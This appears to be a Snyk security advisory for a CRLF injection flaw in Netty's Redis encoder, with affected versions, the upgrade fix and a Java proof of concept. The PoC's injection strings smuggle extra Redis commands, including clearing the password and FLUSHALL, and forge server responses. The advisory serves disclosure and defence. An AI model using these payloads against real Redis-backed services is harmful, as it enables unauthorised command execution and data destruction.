CRLF Injection Affecting io.netty:netty-codec-redis package, versions [,4.1.133.Final)[4.2.0.Alpha1,4.2.13.Final)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about CRLF Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-IONETTY-16439010
  • published7 May 2026
  • disclosed7 May 2026
  • creditUnknown

Introduced: 7 May 2026

NewCVE-2026-42586  (opens in a new tab)
CWE-93  (opens in a new tab)

How to fix?

Upgrade io.netty:netty-codec-redis to version 4.1.133.Final, 4.2.13.Final or higher.

Overview

Affected versions of this package are vulnerable to CRLF Injection in the RedisEncoder component. An attacker can inject arbitrary Redis commands or forge responses by supplying input containing CRLF sequences, which are not properly sanitized before being written to the network output buffer. This allows manipulation of the Redis protocol stream, potentially leading to unauthorized command execution or response poisoning.

Note:

This is only exploitable if user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content, and the application does not perform its own CRLF sanitization before constructing these message objects.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

CVSS Base Scores

version 4.0
version 3.1